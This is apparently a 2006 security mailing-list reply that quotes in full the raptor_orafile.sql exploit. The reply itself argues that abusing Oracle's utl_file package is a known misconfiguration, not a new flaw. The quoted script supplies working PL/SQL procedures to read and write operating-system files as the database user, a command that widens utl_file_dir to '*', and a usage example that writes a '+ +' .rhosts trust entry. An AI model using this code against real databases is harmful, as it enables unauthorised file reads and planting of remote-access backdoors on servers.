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Oracle <= 9i / 10g File System Access via utl_file Exploit Dec 19 2006 09:11PM
none none com (1 replies)
Re: Oracle <= 9i / 10g File System Access via utl_file Exploit Dec 20 2006 12:33PM
sumit kumar soni (sumit_uit yahoo com)
HI,
I don't think so its any new vulnerability or exploit
(make me
correct). As i remember there was a vulnerability
related to Directory
Traversal via this package
http://www.red-database-security.com/exploits/oracle-directory-traversal
-via-utl_file.html
What i believe its a feature to acess OS files. it
never come as a
good practice to set utl_file_dir=* . On OS you cant
set acess for an
database acoount like scott or others.
Rgards
Sumit
--- none (at) none (dot) com [email concealed] wrote:

> -- $Id: raptor_orafile.sql,v 1.1 2006/12/19 14:21:00
> raptor Exp $
> --
> -- raptor_orafile.sql - file system access suite for
> oracle
> -- Copyright (c) 2006 Marco Ivaldi
> <raptor (at) 0xdeadbeef (dot) info [email concealed]>
> --
> -- This is an example file system access suite for
> Oracle based on the utl_file
> -- package
> (http://www.adp-gmbh.ch/ora/plsql/utl_file.html).
> Use it to remotely
> -- read/write OS files with the privileges of the
> RDBMS user, without the need
> -- for any special privileges (CONNECT and RESOURCE
> roles are more than enough).
> --
> -- The database _must_ be configured with a non-NULL
> utl_file_dir value
> -- (preferably '*'). Check it using the following
> query:
> -- SQL> select name, value from v$parameter where
> name = 'utl_file_dir';
> --
> -- If you have the required privileges (ALTER
> SYSTEM) and feel brave
> -- enough to perform a DBMS shutdown/startup, you
> can consider modifying
> -- this parameter yourself, using the following
> PL/SQL:
> -- SQL> alter system set utl_file_dir='*' scope
> =spfile;
> --
> -- See also:
>
http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql
> --
> -- Usage example:
> -- $ sqlplus scott/tiger
> -- [...]
> -- SQL> @raptor_orafile.sql
> -- [...]
> -- SQL> exec utlwritefile('/tmp', 'mytest', '# this
> is a fake .rhosts file');
> -- SQL> exec utlwritefile('/tmp', 'mytest', '+ +');
> -- SQL> set serveroutput on;
> -- SQL> exec utlreadfile('/tmp', 'mytest');
> -- # this is a fake .rhosts file
> -- + +
> -- End of file.
> --
>
> -- file reading module
> --
> -- usage: set serveroutput on;
> -- exec utlreadfile('/dir', 'file');
> create or replace procedure utlreadfile(p_directory
> in varchar2, p_filename in varchar2) as
> buffer varchar2(260);
> fd utl_file.file_type;
> begin
> fd := utl_file.fopen(p_directory, p_filename, 'r');
> dbms_output.enable(1000000);
> loop
> utl_file.get_line(fd, buffer, 254);
> dbms_output.put_line(buffer);
> end loop;
> exception when no_data_found then
> dbms_output.put_line('End of file.');
> if (utl_file.is_open(fd) = true) then
> utl_file.fclose(fd);
> end if;
> when others then
> if (utl_file.is_open(fd) = true) then
> utl_file.fclose(fd);
> end if;
> end;
> /
>
> -- file writing module
> --
> -- usage: exec utlwritefile('/dir', 'file', 'line to
> append');
> create or replace procedure utlwritefile(p_directory
> in varchar2, p_filename in varchar2, p_line in
> varchar2) as
> fd utl_file.file_type;
> begin
> fd := utl_file.fopen(p_directory, p_filename, 'a');
> -- append
> utl_file.put_line(fd, p_line);
> if (utl_file.is_open(fd) = true) then
> utl_file.fclose(fd);
> end if;
> end;
> /
>

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